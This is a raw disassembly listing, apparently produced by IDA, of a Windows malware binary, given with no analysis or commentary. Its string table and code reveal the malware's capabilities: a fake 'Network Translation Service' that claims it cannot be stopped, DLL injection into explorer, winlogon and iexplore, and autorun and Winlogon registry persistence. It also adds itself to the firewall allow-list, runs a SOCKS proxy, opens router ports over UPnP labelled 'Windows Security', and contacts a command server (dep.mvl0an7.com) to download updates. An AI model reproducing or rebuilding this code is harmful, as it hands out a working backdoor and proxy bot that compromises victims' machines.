var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, ebx
mov ecx, esi
cdq
idiv ecx
mov [ebp+var_8], eax
mov edx, esi
imul edx, eax
mov eax, ebx
sub eax, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44E131 endp
; =============== S U B R O U T I N E =======================================
sub_44E161 proc near ; CODE XREF: sub_44DBD1+77p
; sub_44DBD1+E7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
movzx eax, byte ptr [edx+eax+4]
mov esi, eax
and esi, 80h
cmp [esp+8+arg_4], 8000h
jnz short loc_44E1B7
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
movzx edx, byte ptr [eax]
and edx, 0FFFFFF7Fh
mov [eax], dl
jmp short loc_44E1EE
; ---------------------------------------------------------------------------
loc_44E1B7: ; CODE XREF: sub_44E161+2Fj
cmp [esp+8+arg_4], 4000h
jnz short loc_44E1DE
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 80h
jmp short loc_44E1EE
; ---------------------------------------------------------------------------
loc_44E1DE: ; CODE XREF: sub_44E161+5Ej
call sub_449321
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_44E201
; ---------------------------------------------------------------------------
loc_44E1EE: ; CODE XREF: sub_44E161+54j
; sub_44E161+7Bj
test esi, esi
setnz al
and eax, 1
dec eax
and eax, 4000h
add eax, 4000h
loc_44E201: ; CODE XREF: sub_44E161+8Bj
pop esi
pop ebx
retn
sub_44E161 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
cmp ebx, dword_413A88
jnb short loc_44E23A
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44E24A
loc_44E23A: ; CODE XREF: DMN1:0044E21Dj
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44E26A
; ---------------------------------------------------------------------------
loc_44E24A: ; CODE XREF: DMN1:0044E238j
push ebx
call sub_44BC01
pop ecx
mov eax, [esp+10h]
push eax
push ebx
call sub_44E161
add esp, 8
mov esi, eax
push ebx
call sub_44BC61
pop ecx
mov eax, esi
loc_44E26A: ; CODE XREF: DMN1:0044E248j
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
sub_44E271 proc near ; CODE XREF: sub_44DD81+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ecx, [esp+4+arg_0]
mov eax, [esp+4+arg_4]
mov bl, al
xor edx, edx
loc_44E27E: ; CODE XREF: sub_44E271+19j
cmp [ecx], bl
jnz short loc_44E284
mov edx, ecx
loc_44E284: ; CODE XREF: sub_44E271+Fj
cmp byte ptr [ecx], 0
jz short loc_44E28C
inc ecx
jmp short loc_44E27E
; ---------------------------------------------------------------------------
loc_44E28C: ; CODE XREF: sub_44E271+16j
mov eax, edx
pop ebx
retn
sub_44E271 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_44E291 proc near ; CODE XREF: sub_44DE71+5Cp
; sub_44DF11+5Bp
arg_0 = dword ptr 4
push ebx
push edi
mov ecx, [esp+8+arg_0]
mov ax, [ecx+6]
mov di, ax
and di, 8000h
mov bx, 1
mov ax, [ecx+6]
and ax, 0Fh
mov [ecx+6], ax
test ax, ax
jnz short loc_44E2D0
cmp word ptr [ecx+4], 0
jnz short loc_44E2D0
cmp word ptr [ecx+2], 0
jnz short loc_44E2D0
cmp word ptr [ecx], 0
jz loc_44E38A
loc_44E2D0: ; CODE XREF: sub_44E291+25j
; sub_44E291+2Cj ...
jmp short loc_44E2F2
; ---------------------------------------------------------------------------
loc_44E2D2: ; CODE XREF: sub_44E291+66j
mov ax, [ecx+4]
mov [ecx+6], ax
mov ax, [ecx+2]
mov [ecx+4], ax
mov ax, [ecx]
mov [ecx+2], ax
mov word ptr [ecx], 0
sub bx, 10h
loc_44E2F2: ; CODE XREF: sub_44E291:loc_44E2D0j
cmp word ptr [ecx+6], 0
jz short loc_44E2D2
jmp short loc_44E338
; ---------------------------------------------------------------------------
loc_44E2FB: ; CODE XREF: sub_44E291+ACj
movzx eax, word ptr [ecx+6]
add eax, eax
movzx edx, word ptr [ecx+4]
sar edx, 0Fh
or eax, edx
mov [ecx+6], ax
movzx eax, word ptr [ecx+4]
add eax, eax
movzx edx, word ptr [ecx+2]
sar edx, 0Fh
or eax, edx
mov [ecx+4], ax
movzx eax, word ptr [ecx+2]
add eax, eax
movzx edx, word ptr [ecx]
sar edx, 0Fh
or eax, edx
mov [ecx+2], ax
shl word ptr [ecx], 1
dec bx
loc_44E338: ; CODE XREF: sub_44E291+68j
cmp word ptr [ecx+6], 10h
jb short loc_44E2FB
jmp short loc_44E37E
; ---------------------------------------------------------------------------
loc_44E341: ; CODE XREF: sub_44E291+F2j
movzx eax, word ptr [ecx]
sar eax, 1
movzx edx, word ptr [ecx+2]
shl edx, 0Fh
or eax, edx
mov [ecx], ax
movzx eax, word ptr [ecx+2]
sar eax, 1
movzx edx, word ptr [ecx+4]
shl edx, 0Fh
or eax, edx
mov [ecx+2], ax
movzx eax, word ptr [ecx+4]
sar eax, 1
movzx edx, word ptr [ecx+6]
shl edx, 0Fh
or eax, edx
mov [ecx+4], ax
shr word ptr [ecx+6], 1
inc bx
loc_44E37E: ; CODE XREF: sub_44E291+AEj
cmp word ptr [ecx+6], 20h
jnb short loc_44E341
and word ptr [ecx+6], 0Fh
loc_44E38A: ; CODE XREF: sub_44E291+39j
or [ecx+6], di
movsx eax, bx
pop edi
pop ebx
retn
sub_44E291 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44E3A1 proc near ; CODE XREF: sub_449411+13p
jmp dword_411DAC
sub_44E3A1 endp
; ---------------------------------------------------------------------------
align 4
dd 76h dup(0)
dd 6E6F6400h, 0A2E65h
aNotDaemonize_0 db 'not daemonized...',0Ah,0
aInitializing_0 db 'initializing service startup sequence...',0Ah,0
aServiceInsta_0 db 'service installed ok...',0Ah,0
aInstallingSe_1 db 'installing service...',0Ah,0
aRegisteredSe_2 db 'registered service is not running, unrest.',0Ah,0
aStartingServ_0 db 'starting service...',0Ah,0
aI_0 db '%i',0Ah,0
aInstallingSe_2 db 'installing service, res=',0
aRegisteredSe_3 db 'registered service is not running.',0Ah,0
aRegisteredSe_4 db 'registered service is here...',0Ah,0
aDonTRegister_0 db 'DON',27h,'T register it',0Ah,0
aRegisterItAn_0 db 'register it and restart',0Ah,0
aNoRegistered_0 db 'no registered service, ',0
aWaitingCompl_0 db '*** waiting complete...',0Ah,0
aWaiting____0 db '*** waiting...',0Ah,0
aRemovingS_0 db 'removing: <%s>',0Ah,0
aInitializing_1 db 'initializing winsock library...',0Ah,0
aCopyingFaile_0 db 'copying failed %%-(',0Ah,0
aCreateproces_0 db 'CreateProcess() failed %%-(',0Ah,0
aCmdlineS_0 db 'cmdline: <%s>',0Ah,0
aCopying____0 db 'copying...',0Ah,0
aNewSOldSSelf_0 db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0
aWaiting10Sec_0 db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0
aShutdownmute_0 db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0
aUpdate_1 db '*update',0
aInjectionthr_0 db 'InjectionThread complete',0Ah,0
aDllStopped___0 db 'DLL stopped...',0Ah,0
aDying_0 db 'dying',0Ah,0
aWaitingForDl_0 db 'waiting for <DLL dies> event...',0Ah,0
aExplorer_exe_0 db 'explorer.exe',0
aWinlogon_exe_0 db 'winlogon.exe',0
aIexplore_exe_0 db 'iexplore.exe',0
aOldDllFoundW_0 db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
aTryingSWithS_0 db 'trying <%s> with <%s> failed',0Ah,0
aTryingSWithS_1 db 'trying <%s> with <%s>',0Ah,0
aDllInjected_0 db 'DLL injected!',0Ah,0
aThreadComple_0 db 'thread complete (%i).',0Ah,0
aThreadInject_0 db 'thread injected (%i).',0Ah,0
aProcessOpene_0 db 'process opened.',0Ah,0
aS_2 db '<%s>',0Ah,0
aWriteprocess_0 db 'WriteProcessMemory() ok',0Ah,0
aGetlasterror_1 db 'GetLastError',0
aExitthread_1 db 'ExitThread',0
aLoadlibrarya_0 db 'LoadLibraryA',0
aKernel32_dll_0 db 'kernel32.dll',0
aVirtualalloc_0 db 'VirtualAllocEx() ok',0Ah,0
aSedebugprivi_0 db 'SeDebugPrivilege',0
aDllNotExtrac_0 db 'DLL not extracted.',0Ah,0
aDllOkS_0 db 'DLL ok: <%s>',0Ah,0
aTryingDllS_0 db 'trying DLL: <%s>',0Ah,0
aDllFoundS_0 db ' DLL found: <%s>',0Ah,0
aCheckingDllS_0 db 'checking DLL: <%s>',0Ah,0
a000_tmp_0 db '000.tmp',0
aNts__0 db 'nts_',0
aOldDllS_0 db 'old DLL: <%s>',0Ah,0
aR_0 db 'r',0
aFileSWritten_0 db 'file <%s> written, wsz=%i',0Ah,0
aFileSCreated_0 db 'file <%s> created',0Ah,0
aFileSNotCrea_0 db 'file <%s> NOT created',0Ah,0
aWb_1 db 'wb+',0
aResourceHere_0 db 'resource here, size: %i',0Ah,0
a8001_0 db '#8001',0
aDlltestliste_3 db 'DLLTestListenThread: done...',0Ah,0
aDlltestliste_4 db 'DLLTestListenThread: accepting...',0Ah,0
aDlltestliste_5 db 'DLLTestListenThread: listening...',0Ah,0
aDlltestliste_6 db 'DLLTestListenThread: binding...',0Ah,0
aDlltestthrea_0 db 'DLLTestThread: pulsing...',0Ah,0
db '**',0
aServicefixer_0 db 'ServiceFixerThread started.',0Ah,0
db '" ',0
aRegisterserv_1 db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
aSetservicest_3 db 'SetServiceStatus(): stopped',0Ah,0
aSetservicest_4 db 'SetServiceStatus(): running',0Ah,0
aSetservicest_5 db 'SetServiceStatus(): start pending',0Ah,0
aServicectrld_0 db 'ServiceCtrlDispatcher()',0Ah,0
aWaitingForSt_0 db 'WAITING FOR STOP EVENT!',0Ah,0
aEventCreaton_0 db 'EVENT CREATON ERROR: %i',0Ah,0
aEventCreated_0 db 'EVENT CREATED.',0Ah,0
aWritingToHkc_0 db 'writing to HKCU/autorun key...',0Ah,0
aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
aWritingToHkl_0 db 'writing to HKLM/autorun key...',0Ah,0
db '*',0
aLoad_0 db 'load',0
aSoftwareMicr_3 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
db ',',0
aUserinit_0 db 'Userinit',0
aSoftwareMicr_4 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
aStartupprogr_0 db 'StartupPrograms',0
aSystemCurren_2 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
aRegreadCanTR_0 db 'RegRead(): can',27h,'t read key %s',0Ah,0
aRegreadReadI_0 db 'RegRead(): read %i bytes from %s (%s)',0Ah,0
aRegreadOpene_0 db 'RegRead(): opened %s',0Ah,0
a6ea9b038C801_1 db '{6EA9B038-C801-4F76-805F-E41ACF9ED164}',0
aDescription_0 db 'Description',0
aDisplayname_0 db 'DisplayName',0
aLocalsystem_0 db 'LocalSystem',0
aObjectname_0 db 'ObjectName',0
aErrorcontrol_0 db 'ErrorControl',0
aStart_0 db 'Start',0
aType_0 db 'Type',0
aImagepath_0 db 'ImagePath',0
aSystemCurren_3 db 'SYSTEM\CurrentControlSet\Services\',0
aProvidesHard_0 db 'Provides hardware-to-software binary network translation support '
db 'for network protocols. This service can not be stopped.',0
aServiceRegis_0 db 'service registered',0Ah,0
aNetworkTrans_0 db 'Network Translation Service',0
aStartingComm_0 db 'starting COMM thread...',0Ah,0
aNatpmpForwar_0 db 'NATPMP: forwarded to: %i',0Ah,0
aSocksPortI_0 db 'SOCKS port: %i',0Ah,0
aCanTBindList_0 db 'can',27h,'t bind listen socket!',0Ah,0
aListener____0 db 'listener...',0Ah,0
aConnectionCl_0 db 'connection closed.',0Ah,0
aDataExchange_0 db 'data exchange complete',0Ah,0
aTransferring_0 db 'transferring data...',0Ah,0
aConnectedToS_0 db 'connected to %s:%i',0Ah,0
aConnectionTo_0 db 'connection to %s:%i failed! %-( (%i)',0Ah,0
aConnectingTo_0 db 'connecting to %s:%i',0Ah,0
aSocksVIS_0 db 'socks v%i [%s]',0Ah,0
aConnectionRe_0 db 'connection rejected (from [%s])',0Ah,0
aConnectionFr_0 db 'connection from [%s]',0Ah,0
a_win32__nts__0 db '_win32__nts_um__',0
aSystem_0 db 'SYSTEM',0
db 0Dh,' ',0Dh,0
aISecondsLeft_0 db 0Dh,'%i seconds left ',8,8,8,'.',0
aSrvWaitingIS_0 db 'Srv: waiting %i seconds...',0Ah,0
aSrvcommthrea_0 db 'SrvCommThread: done',0Ah,0
aSrvStartingUpd db 'SRV: starting updater...',0Ah,0
aSrvUpgradeS db 'SRV: UPGRADE <%s>',0Ah,0
aSrvIplist db 'SRV: IPLIST',0Ah,0
aSrvBye db 'SRV: BYE',0Ah,0
aSrvAckReject_1 db 'SRV: ACK rejected IPs failed',0Ah,0
aSrvAckReject_2 db 'SRV: ACK rejected IPs',0Ah,0
aSrvSendingRe_0 db 'SRV: sending rejected IPs failed',0Ah,0
aSrvSendingRe_1 db '* SRV: sending rejected IPs',0Ah,0
aSrvAckHandsh_0 db 'SRV: ACK handshacking failed',0Ah,0
aSrvAckHandsh_1 db 'SRV: ACK handshacking',0Ah,0
aSrvHandshaki_1 db 'SRV: handshaking failed.',0Ah,0
aSrvRip?I_0 db 'SRV: rip? %i',0Ah,0
aSrvHandshaki_2 db 'SRV: handshaking...',0Ah,0
aSrvConnectin_0 db 'SRV: connecting failed.',0Ah,0
aSrvConnectin_1 db 'SRV: connecting...',0Ah,0
aSrvSI_0 db 'SRV: [%s:%i]',0Ah,0
aMyPortI_0 db 'my port [%i]',0Ah,0
aDep_mvl0an7__0 db 'dep.mvl0an7.com',0
aAuthorizedIp_0 db 'authorized IP #%i [%s]',0Ah,0
aRunningSS____0 db 'running %s (%s)...',0Dh,0Ah,0
db '" "',0
aUpdate_2 db '*update "',0
aMsssx_0 db 'msssx',0
aDownloadedTo_0 db 'downloaded to: <%s>',0Ah,0
aMsss_0 db 'msss',0
aUpdateUrlS_0 db 'UPDATE URL: <%s>',0Ah,0
aDownloadedSS_0 db 'downloaded [%s] --> %s',0Dh,0Ah,0
aDownloadedFa_0 db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0
aDownloadingS_0 db 'downloading [%s] --> %s',0Dh,0Ah,0
aFopenS____0 db 'fopen(%s)...',0Ah,0
aWb_2 db 'wb',0
aInternetopen_1 db 'InternetOpenUrl(): %i',0Ah,0
aInternetopen_2 db 'InternetOpen(): %i',0Ah,0
aMsdownloader_0 db 'msdownloader',0
db ' ',0
aCWindowsNts__0 db 'C:\WINDOWS\nts.exe',0
db '"',0
a_win32__nts__1 db '_win32__nts_sm__',0
a__win32__nts_0 db '__win32__nts_sdm__',0
aNatPmpReques_2 db 'NAT-PMP request #%i - port: [%i]',0Ah,0
aNatPmpFwdReq_0 db 'NAT-PMP fwd request #%i - ok',0Ah,0
aReceivingNat_1 db 'receiving NAT-PMP fwd request #%i...',0Ah,0
aSetsockoptNa_1 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
aSendingNatPm_0 db 'sending NAT-PMP fwd request #%i...',0Ah,0
aRouterIpS_0 db 'router ip: [%s]',0Ah,0
aNatPmpReques_3 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
aNatPmpReques_4 db 'NAT-PMP request #%i - ok',0Ah,0
aReceivingNat_2 db 'receiving NAT-PMP request #%i...',0Ah,0
aSetsockoptNa_2 db 'setsockopt NAT-PMP request #%i...',0Ah,0
aSendingNatPm_1 db 'sending NAT-PMP request #%i...',0Ah,0
aDefaultGatew_0 db 'default gateway: [%s]',0Ah,0
aIupnpDiscove_5 db 'IUPnP discovery request #%i: ok.',0Ah,0
aControlurl_0 db '<controlURL>',0
aService_1 db '</service>',0
aService_2 db '<service>',0
aUrnSchemasUp_0 db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscove_6 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
aLocationS_0 db 'location: <%s>',0Ah,0
aIupnpDiscove_7 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
aIupnpDiscove_8 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
aLocation_0 db 'location',0
aIupnpDiscove_9 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
aSchemasUpnpO_0 db 'schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscov_10 db 'IUPnP discovery request #%i -- checking...',0Ah,0
aReceivingIup_0 db 'receiving IUPnP discovery request #%i...',0Ah,0
aSetsockoptIu_0 db 'setsockopt IUPnP discovery request #%i...',0Ah,0
aMSearchHttp1_0 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah
db 'Host: 239.255.255.250:1900',0Dh,0Ah
db 'ST: upnp:rootdevice',0Dh,0Ah
db 'Man: "ssdp:discover"',0Dh,0Ah
db 'MX: 3',0Dh,0Ah
db 0Dh,0Ah,0
aSendingIupnp_0 db 'sending IUPnP discovery request #%i...',0Ah,0
aXbind____0 db 'xbind...',0Ah,0
aShit_0 db 'shit!',0Ah,0
a239_255_255__0 db '239.255.255.250',0
aHttpAddmapRe_2 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
aHttpAddmapRe_3 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
aHttpAddmapRe_4 db 'HTTP AddMap request: [%s:%i]...',0Ah,0
aPostSHttp1_1_0 db 'POST %s HTTP/1.1',0Dh,0Ah
db 'HOST: %s:%i',0Dh,0Ah
db 'CONTENT-LENGTH: %i',0Dh,0Ah
db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
db 'rtMapping"',0Dh,0Ah
db 0Dh,0Ah,0
aMPostSHttp1__0 db 'M-POST %s HTTP/1.1',0Dh,0Ah
db 'HOST: %s:%i',0Dh,0Ah
db 'CONTENT-LENGTH: %i',0Dh,0Ah
db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
db 'rtMapping"',0Dh,0Ah
db 0Dh,0Ah,0
aSEnvelopeXml_0 db '<s:Envelope',0Dh,0Ah
db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
db '<s:Body>',0Dh,0Ah
db '<u:AddPortMapping',0Dh,0Ah
db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
db 'ption>',0Dh,0Ah
db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
db '</u:AddPortMapping>',0Dh,0Ah
db '</s:Body>',0Dh,0Ah
db '</s:Envelope>',0
a200_0 db '200',0
db 0Ah,0
aHttpDiscover_1 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
aGetSHttp1_1H_0 db 'GET %s HTTP/1.1',0Dh,0Ah
db 'HOST: %s:%i',0Dh,0Ah
db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
db 0Dh,0Ah,0
aHttpDiscover_2 db 'HTTP discovery request: [%s:%i]...',0Ah,0
aHttp_0 db 'http://',0
a__0 db '.',0
a6ea9b038C801_2 db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0
aSystemCurren_4 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aNts_0 db 'NTS',0
aEnabled_0 db ':*:Enabled:',0
aHandshakeBad_0 db 'Handshake: bad version (%i)',0Ah,0
aHandshakeBad_1 db 'Handshake: bad packed (%i)',0Ah,0
aHandshakeRec_0 db 'Handshake: recv() error',0Ah,0
aProtorecvDat_0 db 'protorecv(): data size: %i (of %i)',0Ah,0
aPktrecvPacke_0 db 'PktRecv(): packetId: 0x%03x',0Ah,0
aPktrecvInval_0 db 'PktRecv(): invalid signature (%i)',0Ah,0
aPktsendIIByt_0 db 'PktSend(%i): %i bytes',0Ah,0
aSIsS_0 db '%s is %s',0Ah,0
aWinsock2_xIn_0 db 'WinSock 2.x initialized.',0Ah,0
aWinsock1_1In_0 db 'WinSock 1.1 initialized.',0Ah,0
aA_0 db 'a',0
aPm_0 db 'PM',0
aAm_0 db 'AM',0
a02i02i02iIII_0 db '%02i/%02i/%02i %i:%i:%i%s',0
aS_3 db '%s',0
dd 0FFFFFF00h, 0FFh, 40715A00h, 0FFFFFF00h, 0FFh, 40735B00h
dd 0FFFFFF00h, 0FFh, 40745E00h, 0FFFFFF00h, 0FFh, 4075AD00h
dd 0FFFFFF00h, 4078C8FFh, 4078E300h, 0FFFFFF00h, 0FFh
dd 407A5D00h, 0FFFFFF00h, 407B85FFh, 407BA000h, 400000h
dd 0FFFFFF00h, 0FFh, 4081FE00h, 40832C00h, 4082E200h, 2 dup(40831200h)
dd 5 dup(4082E200h), 40831F00h, 4082E200h, 2 dup(4082F200h)
dd 40836000h, 40831200h, 40833900h, 3 dup(40830200h), 4082E200h
dd 40835300h, 3 dup(4082E200h), 4082F200h, 40831200h, 40838700h
dd 4082F200h, 10h dup(40831200h), 4082E200h, 40831200h
dd 10h dup(4082E200h), 4082F200h, 0Bh dup(4082E200h), 40831200h
dd 4082E200h, 4082F200h, 40831200h, 40837A00h, 2 dup(4082E200h)
dd 40836D00h, 4082E200h, 40833900h, 2 dup(40834600h), 40833900h
dd 4082E200h, 40831200h, 40832C00h, 4 dup(4082E200h), 0Fh dup(40835300h)
dd 3 dup(4082E200h), 4082F200h, 8 dup(4082E200h), 40831F00h
dd 2D2B2000h, 3023h, 100h, 200h, 400h, 800h, 1000h, 0
dd 6C6A6800h, 4C7A74h, 4E4F4300h, 244E49h, 4F4E4F43h, 245455h
dd 0
dd 0FFFFFF00h, 0FFh, 14h dup(0)
dd 10001002h, 3 dup(10001000h), 30013000h, 30003000h, 10003000h
dd 8 dup(10001000h), 40001000h, 7 dup(80008000h), 3008000h
dd 4 dup(3000300h), 80000300h, 3 dup(80008000h), 3 dup(0A000A00h)
dd 0Ah dup(8000800h), 3 dup(80008000h), 3 dup(6000600h)
dd 0Ah dup(4000400h), 2 dup(80008000h), 1000h, 40h dup(0)
dd 40A00700h, 3 dup(40A33700h), 4 dup(40A00700h), 40A33700h
dd 409C8C00h, 409CFB00h, 3 dup(40A00700h), 40A33700h, 409CFB00h
dd 4 dup(40A33700h), 40A0C900h, 409E9300h, 40A20100h, 2 dup(40A33700h)
dd 40A25F00h, 40A33700h, 409E9300h, 2 dup(40A33700h), 409E9300h
dd 756E2800h, 296C6Ch, 20202000h, 7 dup(20202020h), 30300020h
dd 7 dup(30303030h), 3030h, 2 dup(0)
dd 100h, 200h, 0
dd 2E001E0h, 4E003E0h, 6E005E0h, 8E007E0h, 0AE009E0h, 0CE00BE0h
dd 0EE00DE0h, 10E00FE0h, 12E011E0h, 14E013E0h, 16E015E0h
dd 18E017E0h, 1AE019E0h, 1CE01BE0h, 1EE01DE0h, 20E01FE0h
dd 22E021E0h, 24E023E0h, 26E025E0h, 28E027E0h, 2AE029E0h
dd 2CE02BE0h, 2EE02DE0h, 30E02FE0h, 32E031E0h, 34E033E0h
dd 36E035E0h, 38E037E0h, 3AE039E0h, 3CE03BE0h, 3EE03DE0h
dd 40E03FE0h, 42E041E0h, 44E043E0h, 46E045E0h, 48E047E0h
dd 4AE049E0h, 4CE04BE0h, 4EE04DE0h, 50E04FE0h, 52E051E0h
dd 54E053E0h, 56E055E0h, 58E057E0h, 5AE059E0h, 5CE05BE0h
dd 5EE05DE0h, 60E05FE0h, 62E061E0h, 64E063E0h, 66E065E0h
dd 68E067E0h, 6AE069E0h, 6CE06BE0h, 6EE06DE0h, 70E06FE0h
dd 72E071E0h, 74E073E0h, 76E075E0h, 78E077E0h, 7AE079E0h
dd 7CE07BE0h, 7EE07DE0h, 80E07FE0h, 82E081E0h, 84E083E0h
dd 86E085E0h, 88E087E0h, 8AE089E0h, 8CE08BE0h, 8EE08DE0h
dd 90E08FE0h, 92E091E0h, 94E093E0h, 96E095E0h, 98E097E0h
dd 9AE099E0h, 9CE09BE0h, 9EE09DE0h, 0A0E09FE0h, 0A2E0A1E0h
dd 0A4E0A3E0h, 0A6E0A5E0h, 0A8E0A7E0h, 0AAE0A9E0h, 0ACE0ABE0h
dd 0AEE0ADE0h, 0B0E0AFE0h, 0B2E0B1E0h, 0B4E0B3E0h, 0B6E0B5E0h
dd 0B8E0B7E0h, 0BAE0B9E0h, 0BCE0BBE0h, 0BEE0BDE0h, 0C0E0BFE0h
dd 0C2E0C1E0h, 0C4E0C3E0h, 0C6E0C5E0h, 0C8E0C7E0h, 0CAE0C9E0h
dd 0CCE0CBE0h, 0CEE0CDE0h, 0D0E0CFE0h, 0D2E0D1E0h, 0D4E0D3E0h
dd 0D6E0D5E0h, 0D8E0D7E0h, 0DAE0D9E0h, 0DCE0DBE0h, 0DEE0DDE0h
dd 0E0E0DFE0h, 0E2E0E1E0h, 0E4E0E3E0h, 0E6E0E5E0h, 0E8E0E7E0h
dd 0EAE0E9E0h, 0ECE0EBE0h, 0EEE0EDE0h, 0F0E0EFE0h, 0F2E0F1E0h
dd 0F4E0F3E0h, 0F6E0F5E0h, 0F8E0F7E0h, 0FAE0F9E0h, 0FCE0FBE0h
dd 0FEE0FDE0h, 0E0FFE0h, 6E002800h, 6C007500h, 29006C00h
dd 0
dd 32313000h, 36353433h, 61393837h, 65646362h, 31300066h
dd 35343332h, 39383736h, 44434241h, 4645h, 0
dd 24000000h, 40h, 59000000h, 40h, 0C3880000h, 40h, 97D78400h
dd 0E0800041h, 41C37937h, 56E1743h, 93B8B5B5h, 3FF9F546h
dd 384F03E9h, 301D324Dh, 827748F9h, 73BF3C5Ah, 154FDD7Fh
dd 75h, 97D78400h, 41h, 0F0000000h, 3Fh, 0
dd 32313000h, 36353433h, 41393837h, 45444342h, 31300046h
dd 35343332h, 39383736h, 64636261h, 49006665h, 6900464Eh
dd 4E00666Eh, 6E004E41h, 6E61h, 40BD4800h, 40BD6300h, 40BD3F00h
dd 40BD6300h, 40BD2A00h, 40BD6300h, 40BD3600h, 2 dup(40BD6300h)
dd 40BD5100h, 2D2D2000h, 72657420h, 616E696Dh, 676E6974h
dd 6973000Ah, 6C616E67h, 74002320h, 696D7265h, 6974616Eh
dd 72206E6Fh, 65757165h, 69007473h, 6C61766Eh, 73206469h
dd 61726F74h, 61206567h, 73656363h, 6E690073h, 72726574h
dd 69747075h, 69006E6Fh, 6C61766Eh, 65206469h, 75636578h
dd 6C626174h, 6F632065h, 61006564h, 68746972h, 6974656Dh
dd 72652063h, 726F72h, 726F6261h, 74h, 3 dup(0)
dd 3000h, 2E0000h, 23h dup(0)
dd 5B5B5A00h, 5B5B5B5Bh, 5B5B5Bh, 58h dup(0)
dd 5000h, 0Dh dup(0)
dd 800h, 1000h, 2000h, 4000h, 8000h, 10000h, 20000h, 40000h
dd 2 dup(0)
dd 93052000h, 19h, 2 dup(0)
dd 41283C00h, 41282400h, 41280C00h, 4127F400h, 1Bh dup(0)
dd 100h, 0
dd 4112D400h, 4112D500h, 4 dup(4112D400h), 4112B400h, 0Ah dup(0)
dd 80200h, 100h, 41132000h, 41132100h, 4 dup(41132000h)
dd 41130000h, 0Ah dup(0)
dd 80200h, 200h, 41123C00h, 41128C00h, 3 dup(41123C00h)
dd 41136C00h, 41134C00h, 0Ah dup(0)
dd 41128C00h, 4112D800h, 41132400h, 0FDh dup(0)
dd 0FFFFFF00h, 5FFh, 0BC0h, 1D00h, 4C0h, 9600h, 4C0h, 8D00h
dd 8C0h, 8E00h, 8C0h, 8F00h, 8C0h, 9000h, 8C0h, 9100h
dd 8C0h, 9200h, 8C0h, 9300h, 8C0h, 7 dup(0)
dd 40000h, 2Ch dup(0)
dd 40FB3400h, 40FB4200h, 0
dd 300h, 40FE1E00h, 0Fh dup(0)
